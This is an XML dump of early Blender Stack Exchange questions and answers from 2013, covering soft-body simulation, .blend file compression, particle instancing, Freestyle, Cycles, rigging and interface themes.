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  <row Id="1" PostTypeId="1" AcceptedAnswerId="32" CreationDate="2013-05-22T20:51:35.300" Score="33" ViewCount="6574" Body="&lt;p&gt;In the last homework project for my Blender class, I had to make a balloon bounce across a ceiling as a soft body driven by wind. I fiddled with the constraints but it always crumpled on impact with the ceiling. Adjusting the constraints so that it retained it shape resulted in it not reacting to the wind. Why is this and how do I prevent it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fDCYc.png&quot; alt=&quot;Balloon goes up&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YcZeP.png&quot; alt=&quot;Balloon Crumples&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kGApb.png&quot; alt=&quot;Balloon keeps on Crumpling&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2013-08-26T18:46:52.277" Title="How do I prevent soft body balloons from crumpling when they hit walls?" Tags="&lt;soft-body&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="3" CommentCount="6" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="2" PostTypeId="1" AcceptedAnswerId="4" CreationDate="2013-05-22T20:53:02.400" Score="21" ViewCount="2192" Body="&lt;p&gt;I have a large blender file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I compress this file and can I split the file into multiple files to ship it?&lt;/p&gt;&#xA;" OwnerUserId="10" LastEditorUserId="12" LastEditDate="2013-07-05T14:27:14.993" LastActivityDate="2016-07-21T01:33:55.447" Title="Is it possible to compress or split '.blend' files within Blender? If so, how?" Tags="&lt;blend-files&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3" PostTypeId="1" AcceptedAnswerId="12" CreationDate="2013-05-22T20:55:02.527" Score="16" ViewCount="14182" Body="&lt;p&gt;I've been working on a project where I need to render a wheat field. I'm using the new cycles hair rendering feature in 2.67. I can't seem to figure out how to render the hair based on an object (which is a wheat mesh). Whenever I set the dupli object, it doesn't render anything at all. Is this a known issue or am I doing something wrong? I am using Blender 2.67.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8ZJ82.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="3078" LastEditDate="2015-12-14T21:13:55.150" LastActivityDate="2018-01-06T18:56:51.207" Title="How can I disperse objects with a particle system?" Tags="&lt;cycles-render-engine&gt;&lt;particles&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4" PostTypeId="2" ParentId="2" CreationDate="2013-05-22T20:58:22.343" Score="21" Body="&lt;p&gt;All you need to do is check the &lt;em&gt;Compress File&lt;/em&gt; box when saving. If your file is still too big, consider using a service like &lt;a href=&quot;https://www.dropbox.com/business/landing-t65fl?_tk=sem_b_goog&amp;amp;_camp=sem-b-goog-us-eng-top-exact&amp;amp;_kw=dropbox%7Ce&amp;amp;_ad=50390138022%7C1t1%7Cc&amp;amp;gclid=Cj0KEQjwwry8BRDjsbjMpPSDvagBEiQA5oW0nAsuZb1z4le_uuTYExy8eLR6vYhvTEKaTuAhxV5phpQaAtiS8P8HAQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dropbox&lt;/a&gt; or &lt;a href=&quot;https://www.hightail.com/?utm_source=google&amp;amp;utm_medium=cpc&amp;amp;utm_campaign=brand&amp;amp;mkwid=sCA8WPI0Q%7Cpcrid%7C120227173274%7Cpkw%7Cyousendit%7Cpmt%7Ce%7Cpdv%7Cc%7C&amp;amp;gclid=Cj0KEQjwwry8BRDjsbjMpPSDvagBEiQA5oW0nLBeFZcXGHthgh8BLpIhRNUBaXstBGUeEXLC0WGHzG0aAnPg8P8HAQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;YouSendIt&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ty8D8.png&quot; alt=&quot;Blender ScreenShot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="20508" LastEditDate="2016-07-21T01:33:55.447" LastActivityDate="2016-07-21T01:33:55.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5" PostTypeId="2" ParentId="2" CreationDate="2013-05-22T21:01:33.023" Score="17" Body="&lt;p&gt;If the file is made of a bunch of scenes you can import them into separate .blend files. To append a scene from a &lt;em&gt;different&lt;/em&gt; file use &lt;code&gt;File &amp;gt; Append&lt;/code&gt;. Find the file and click on it. Once you do, you should see a bunch of folders. Select the scene folder. Click on the scene you want and open it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then proceed to save off each individual scene into a separate .blend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One other possible reason that you have a very large file is because of cached simulations/animations. If you are trying to send a directory with a bunch of sim caches, I would recommend deleting those. You can always bake them later after they're sent.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-22T21:01:33.023" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6" PostTypeId="1" AcceptedAnswerId="16" CreationDate="2013-05-22T21:03:49.163" Score="21" ViewCount="2230" Body="&lt;p&gt;I know you can use Dynamic Paint as well as Fluid Simulation with Force Fields to make ripples. I'm sure there are other ways as well. Which way is the least memory and processor intensive of these?&lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2020-11-30T00:54:30.900" Title="What is the most computationally efficient way to make ripples?" Tags="&lt;memory-management&gt;&lt;dynamic-paint&gt;&lt;fluid-simulation&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7" PostTypeId="1" AcceptedAnswerId="20" CreationDate="2013-05-22T21:03:59.263" Score="11" ViewCount="849" Body="&lt;p&gt;Blender 2.67 is out, and one of its main features is the long-awaited Freestyle integration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to try out Freestyle, but it doesn't appear in the &quot;Render Engine&quot; dropdown. I assume some assembly is required. What will I need to start using Freestyle on Windows and Linux?&lt;/p&gt;&#xA;" OwnerUserId="13" LastEditorUserId="12" LastEditDate="2013-05-23T23:03:52.563" LastActivityDate="2013-05-23T23:03:52.563" Title="How can I start using Freestyle?" Tags="&lt;linux&gt;&lt;freestyle&gt;&lt;windows&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8" PostTypeId="5" CreationDate="2013-05-22T21:04:52.043" Score="0" Body="&lt;p&gt;&lt;strong&gt;Cycles&lt;/strong&gt; is a physically based path tracing render engine with GPGPU rendering support, all integrated and bundled with Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set Cycles as the active render engine, select &lt;em&gt;Cycles Render&lt;/em&gt; from the &lt;em&gt;Engine&lt;/em&gt; dropdown in the top header:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TkdoC.png&quot; alt=&quot;The *Engine* dropdown menu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Cycles, materials are created via trees of &lt;em&gt;nodes&lt;/em&gt;, which are connected by &lt;em&gt;noodles&lt;/em&gt;. This allows for complex materials to be created by synthesizing the various types of inputs available, and finally outputting them to a &lt;em&gt;shader&lt;/em&gt;, a mathematical equation that describes how light will (or, more accurately, &lt;em&gt;might&lt;/em&gt;) bounce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rendering in Cycles is accomplished by &quot;firing&quot; and tracing the path of a number of virtual rays of light from the camera through each pixel. Cycles traces the path of each ray, using the shaders to determine how each ray will bounce, and which wavelengths (and thus colors) of light will be reflected. The colors of each ray are then averaged to form the color and brightness for that pixel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number of rays fired through each pixel is known as the number of &lt;em&gt;samples&lt;/em&gt;. With a low number of samples, a rendered image can look very noisy. This is because there is a large degree of randomness introduced into the bouncing of the rays of light for most shaders. However, as the sample count increases, the randomness stabilizes, and the average color converges to the correct result. The number of samples for a noise-free render varies depending on the scene; it can range from as low as 25, for a scene with just a couple of objects, to a few thousand, for very complex scenes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles is still under development. Some features that are not currently available, but are planned, are listed on the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/Roadmap&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cycles Roadmap&lt;/a&gt; and the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/ToDo&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cycles ToDo list&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about Cycles on the &lt;a href=&quot;http://www.blender.org/manual/render/cycles/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;, including a list of some Cycles &lt;a href=&quot;http://wiki.blender.org/index.php?title=Doc:2.6/Manual/Render/Cycles/Getting_Started/Tutorials&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorials&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Cycles related questions:&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Troubleshooting common issues with enabling GPU rendering:&lt;br&gt;&#xA;&lt;a href=&quot;http://blender.stackexchange.com/q/7485/599&quot;&gt;Enabling GPU rendering for Cycles?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Differences from &lt;a href=&quot;/questions/tagged/blender-internal&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;blender-internal&amp;#39;&quot; rel=&quot;tag&quot;&gt;blender-internal&lt;/a&gt;:&lt;br&gt;&#xA;&lt;a href=&quot;http://blender.stackexchange.com/q/5820/599&quot;&gt;How is Cycles different from Blender Internal?&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://blender.stackexchange.com/q/261/599&quot;&gt;What are the differences between lamps in Cycles and Blender Internal?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Reducing noise:&lt;br&gt;&#xA;&lt;a href=&quot;http://blender.stackexchange.com/q/4980/599&quot;&gt;How to avoid noisy renders in Cycles?&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://blender.stackexchange.com/q/1703/599&quot;&gt;How to reduce fireflies in Cycles?&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://blender.stackexchange.com/q/18304/599&quot;&gt;How To Reduce Noise In Cycles Render&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://blender.stackexchange.com/q/10434/599&quot;&gt;Spherical emitter does not illuminate very well?&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://blender.stackexchange.com/q/8152/599&quot;&gt;What is multiple importance sample option&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="372" LastEditorUserId="599" LastEditDate="2015-06-03T07:00:27.383" LastActivityDate="2015-06-03T07:00:27.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9" PostTypeId="4" CreationDate="2013-05-22T21:04:52.043" Score="0" Body="Cycles is a ray tracing render engine that can be used to achieve photo realistic results in Blender. It was introduced officially in 2.61. Use this tag for any Cycles related posts." OwnerUserId="14" LastEditorUserId="2217" LastEditDate="2014-05-15T18:44:31.527" LastActivityDate="2014-05-15T18:44:31.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10" PostTypeId="2" ParentId="3" CreationDate="2013-05-22T21:04:53.927" Score="12" Body="&lt;p&gt;The size of each particle is really small right now. Change that to 1.0 and you should be able to see it.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iOey0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-22T21:04:53.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11" PostTypeId="1" AcceptedAnswerId="15" CreationDate="2013-05-22T21:05:09.527" Score="9" ViewCount="239" Body="&lt;p&gt;I've used a few of the custom builds on &lt;a href=&quot;http://graphicall.org/&quot; rel=&quot;nofollow&quot;&gt;Graphicall&lt;/a&gt;, and I'd like to give back by helping contribute some back. I've got a Mac, which is a bit of an underdog in terms of building submitted, and I've got decent experience with Subversion and other version control systems, but haven't seen a &quot;how to&quot; on compiling builds for others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I set up a build environment on my Mac for compiling and bundling build packages to Graphicall?&lt;/p&gt;&#xA;" OwnerUserId="24" LastEditorUserId="12" LastEditDate="2013-11-20T22:11:09.357" LastActivityDate="2013-11-20T22:11:09.357" Title="How to build and submit Mac builds to Graphicall?" Tags="&lt;versions&gt;&lt;osx&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12" PostTypeId="2" ParentId="3" CreationDate="2013-05-22T21:06:47.443" Score="13" Body="&lt;p&gt;It's possible that your particles are simply not big enough to see. If you can see them in the viewport, it should render fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you don't need hair to instance object(s) on particles, you can do it with normal Emitted particles (to make them static, set the Normal velocity to 0 and also the Gravity weight to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still have no luck, try it in an older version of blender (with Emitted particles, not hair) and see if that works. If it does, it's likely a bug that you should report.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2013-05-22T21:06:47.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13" PostTypeId="1" AcceptedAnswerId="24" CreationDate="2013-05-22T21:08:16.963" Score="9" ViewCount="2625" Body="&lt;p&gt;I've seen in older Blender character rigs (such as &lt;em&gt;Big Buck Bunny&lt;/em&gt;), character armatures had some floating slide toggles that affected whether a rig appendage was Forward-Kinematic or Inverse Kinematic (FK/IK), but newer rigs (such as &lt;em&gt;Sintel&lt;/em&gt;) don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the current &quot;best practice&quot; way of creating an FK/IK toggle (is it part of the core application?), and what version of Blender did that become available?&lt;/p&gt;&#xA;" OwnerUserId="24" LastEditorUserId="527" LastEditDate="2015-12-23T10:34:48.153" LastActivityDate="2020-10-06T01:13:11.007" Title="Is it possible to use a slider toggle from FK to IK, in a armature?" Tags="&lt;rigging&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14" PostTypeId="2" ParentId="7" CreationDate="2013-05-22T21:10:25.853" Score="4" Body="&lt;p&gt;I did a tutorial on this recently: &lt;a href=&quot;http://www.youtube.com/watch?v=J3LI_MTnY7U&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=J3LI_MTnY7U&lt;/a&gt;&#xA;First five minutes answer your questions(but there are many more details on the engine later on).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When your in the Blender Internal render engine go the render panel and at the bottom check Freestyle. Then go to your render layers tab. Add a new line set and your good to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;br&gt;&#xA;-Charles&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-05-23T01:09:33.153" LastActivityDate="2013-05-23T01:09:33.153" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15" PostTypeId="2" ParentId="11" CreationDate="2013-05-22T21:13:28.150" Score="10" Body="&lt;p&gt;There are easy to follow steps clearly outlined on the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Doc/Building_Blender/Mac&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt;. It tells how to setup the environment and how to download and build the source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you then go to &lt;a href=&quot;http://www.graphicall.org/&quot; rel=&quot;noreferrer&quot;&gt;graphicall&lt;/a&gt; and create an account, after logging in, there should be an option to upload a new build.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LhwPS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; To create an account on Graphicall.org, people now have to go to the IRC channel &lt;code&gt;#blenderstorm&lt;/code&gt; on &lt;a href=&quot;http://webchat.freenode.net/&quot; rel=&quot;noreferrer&quot;&gt;freenode&lt;/a&gt; and leave a request for an account &lt;em&gt;(just preferred username + email-address is enough)&lt;/em&gt;. An admin will create the account when the request is received.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-05-23T22:04:17.720" LastActivityDate="2013-05-23T22:04:17.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16" PostTypeId="2" ParentId="6" CreationDate="2013-05-22T21:20:14.357" Score="13" Body="&lt;p&gt;The simplest way would be to create a blend/gradient texture with a displacement modifier (or simply for a bump map if it's in the distance) and animate the offset by right clicking the property and inserting keys. This won't really work (I think) if the ripples are spherical originating from a single point since I don't know of a way to offset the ripples out of the center.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next cheapest would be the dynamic paint method. The advantages of this is that you get the animation done for you dynamically and fairly realistically, and the mesh density is the same as that of the previous displacement map method. However it can take a fair amount of time to calculate if the mesh is dense and there are multiple sources of dense brush meshes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly is of course the fluid simulator. Only if you really need the ripples and the splashing together should you use this method as it uses huge amounts of ram and calculates very slowly, and also doesn't allow for UVs or any other mesh data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it's all about what you need it for. If you're not too fussed about the realism of the simulation, it's always quicker to fake a few things than to let blender do it for you. It may be a little more manual work, but it's usually quicker than a hardcore simulation.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2013-05-22T21:20:14.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17" PostTypeId="1" AcceptedAnswerId="34" CreationDate="2013-05-22T21:20:49.177" Score="20" ViewCount="2452" Body="&lt;p&gt;You know how raytracers pretty much just trace geometrical rays? I was wondering if Cycles has any wave optic features, where it would act as an actual electro-magnetic wave. Some really useful features would be diffraction, Interference, and polarization. Is there a method to getting/tricking Cycles into working this way?&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="21718" LastEditDate="2018-04-21T02:16:20.253" LastActivityDate="2018-04-21T02:16:20.253" Title="Does Cycles work with wave optics?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18" PostTypeId="1" AcceptedAnswerId="28" CreationDate="2013-05-22T21:23:05.750" Score="14" ViewCount="1182" Body="&lt;p&gt;I'm using a &lt;a href=&quot;http://studiollb.wordpress.com/download/&quot; rel=&quot;noreferrer&quot;&gt;theme&lt;/a&gt;, but I can't find the settings of this message which is almost unreadable. In the User Preferences / Theme / Info-tab  are only a few colors to configure. I also searched in the User Interface settings for something like 'Error Message', but I couldn't find anything. Is there any way to change the color of this GUI component?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sd4Xf.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12" LastEditDate="2013-09-28T03:28:10.593" LastActivityDate="2013-09-28T03:28:10.593" Title="Where can I change the background color of the notification in the Info header?" Tags="&lt;customization&gt;&lt;theme&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19" PostTypeId="1" AcceptedAnswerId="37" CreationDate="2013-05-22T21:24:45.940" Score="19" ViewCount="8406" Body="&lt;p&gt;I've built objects that use the Halo material but it has a vertex glow. How would I make a whole line glow without dividing my surface into an absurdly large number of vertices?&lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="12" LastEditDate="2013-05-25T02:58:29.683" LastActivityDate="2013-05-25T02:58:29.683" Title="How do I get a glowing line via textures or materials?" Tags="&lt;materials&gt;&lt;texturing&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="20" PostTypeId="2" ParentId="7" CreationDate="2013-05-22T21:26:27.290" Score="14" Body="&lt;p&gt;You're right, it doesn't appear in the render engine dropdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In version 2.66 it is in &lt;strong&gt;Render&lt;/strong&gt; tab &gt; &lt;strong&gt;Post Processing&lt;/strong&gt; &gt; &lt;strong&gt;Freestyle&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to &lt;a href=&quot;https://blender.stackexchange.com/posts/comments/9?noredirect=1&quot;&gt;RagnarSun&lt;/a&gt;, in 2.67 (and 2.67a) it is in &lt;strong&gt;Render&lt;/strong&gt; &gt; &lt;strong&gt;Freestyle&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2013-05-23T14:09:45.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21" PostTypeId="1" CreationDate="2013-05-22T21:27:16.017" Score="21" ViewCount="12207" Body="&lt;p&gt;For instance, here I have two cubes that are offset only on the x-axis. When I render them (using Blender's internal renderer), the overlapping faces interfere with each other and the result looks awful. A quick and easy solution would be to offset them by just a smidget, but is there another solution that allows faces to overlap and not exhibit this graphical glitch?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dO58F.png&quot; alt=&quot;ew overlapping faces&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="21" LastEditorUserId="5705" LastEditDate="2015-11-20T16:14:13.760" LastActivityDate="2015-11-20T16:14:13.760" Title="How do I avoid rendering glitches from overlapping faces?" Tags="&lt;rendering&gt;" AnswerCount="4" CommentCount="6" ClosedDate="2016-04-11T20:39:05.310" ContentLicense="CC BY-SA 3.0" />
  <row Id="22" PostTypeId="1" AcceptedAnswerId="132" CreationDate="2013-05-22T21:32:11.033" Score="10" ViewCount="9458" Body="&lt;p&gt;I build a primitive pool table model with holes where the pockets would be but cutting the holes via the &lt;em&gt;Boolean&lt;/em&gt; modifier left me with really bad looking lines in the table surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/90xX6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could very well take the time to smooth them out but I'd like to prevent them in the first place. How would I go about this?&lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="6204" LastEditDate="2015-12-14T00:23:52.160" LastActivityDate="2019-02-21T15:24:34.873" Title="How do I do a clean boolean?" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24" PostTypeId="2" ParentId="13" CreationDate="2013-05-22T21:36:57.227" Score="6" Body="&lt;p&gt;For the former, it was never &lt;em&gt;version&lt;/em&gt; specific and can still be done with later versions, people have desisted from doing so since there are several more efficient ways to do so.&lt;/p&gt;&#xA;&lt;p&gt;The method I personally use and I think is most people use is a blend of &lt;a href=&quot;https://docs.blender.org/manual/en/latest/animation/constraints/introduction.html#introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;constraints&lt;/a&gt;, &lt;a href=&quot;https://docs.blender.org/manual/en/latest/animation/drivers/introduction.html#introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;drivers&lt;/a&gt; and a little &lt;a href=&quot;https://docs.blender.org/manual/en/latest/advanced/scripting/introduction.html#getting-started&quot; rel=&quot;nofollow noreferrer&quot;&gt;scripting&lt;/a&gt; to create GUI components in the sidebars to toggle from &lt;em&gt;&lt;strong&gt;FK &amp;lt;-&amp;gt; IK&lt;/strong&gt;&lt;/em&gt;. I cannot say exactly when this became available but it &lt;em&gt;is&lt;/em&gt; a core part of the application.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZmP9i.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/2353/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=2353&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="15924" LastEditDate="2020-10-06T01:13:11.007" LastActivityDate="2020-10-06T01:13:11.007" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="25" PostTypeId="2" ParentId="19" CreationDate="2013-05-22T21:37:42.333" Score="2" Body="&lt;p&gt;A material/texture approach wouldn't be best for this application for the reason you stated, as well as the problem of it not being able to shine light. I would use a combination of a Cycles emission material and compositing to blur the object. This will allow the material to actually shine light; while compositing adds the glowing effect. For a non-glowing fuzzy line, a hair particle system would work in many cases.&lt;/p&gt;&#xA;" OwnerUserId="34" LastEditorUserId="34" LastEditDate="2013-05-23T05:41:24.553" LastActivityDate="2013-05-23T05:41:24.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26" PostTypeId="2" ParentId="13" CreationDate="2013-05-22T21:42:48.597" Score="4" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0IEHe.png&quot; alt=&quot;Ben Dansie&amp;#39;s Sintel Lite&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is from Ben Dansie's Sintel Lite (found &lt;a href=&quot;http://www.blendswap.com/blends/view/7093&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Granted, I haven't really rigged that much since Sintel, but the image above captures a convention that has gone on since Sintel.  The rig you downloaded probably has IK/FK toggles in the 'Rig Main Properties', or something to that effect. Hit 'N' in the 3d view and see what's there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or are you asking about the actual mechanics of rigging the arms?  I think they're still done using three separate chains for each arm/leg(possibly 4 if there's a slave rig).&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-05-22T21:42:48.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27" PostTypeId="2" ParentId="18" CreationDate="2013-05-22T21:52:58.420" Score="9" Body="&lt;p&gt;Unfortunately you cannot change that background. It's one of the few colors you can't change. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can change the text color in the Info category:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LwOZg.png&quot; alt=&quot;Header Text Color via Theme &amp;gt; Info&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2013-05-22T21:52:58.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28" PostTypeId="2" ParentId="18" CreationDate="2013-05-22T21:53:44.603" Score="13" Body="&lt;p&gt;To my knowledge it cannot be changed, it is defined by the &lt;em&gt;Box&lt;/em&gt; group in the &lt;em&gt;User Interface&lt;/em&gt; tab. The only bits of it I could change were the border color and the gradient. The text color is changed globally it seems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One workaround you could use is to tick the shaded check box and set both values to 100, this gives a bright white which might help against a darker color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Default&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HXnDq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Brighter&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tDoTM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6SoMc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-05-22T21:53:44.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29" PostTypeId="2" ParentId="11" CreationDate="2013-05-22T21:54:51.707" Score="4" Body="&lt;p&gt;Aside from the Wiki mentioned by &lt;a href=&quot;https://blender.meta.stackexchange.com/users/12/iklsr&quot;&gt;@iKlsR&lt;/a&gt;, you can also follow Sebastian Koénig's tutorial here: &lt;a href=&quot;http://cgcookie.com/blender/2010/10/25/building-blender-in-osx/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://cgcookie.com/blender/2010/10/25/building-blender-in-osx/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="-1" LastEditDate="2017-03-16T15:51:59.687" LastActivityDate="2013-05-23T03:30:44.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
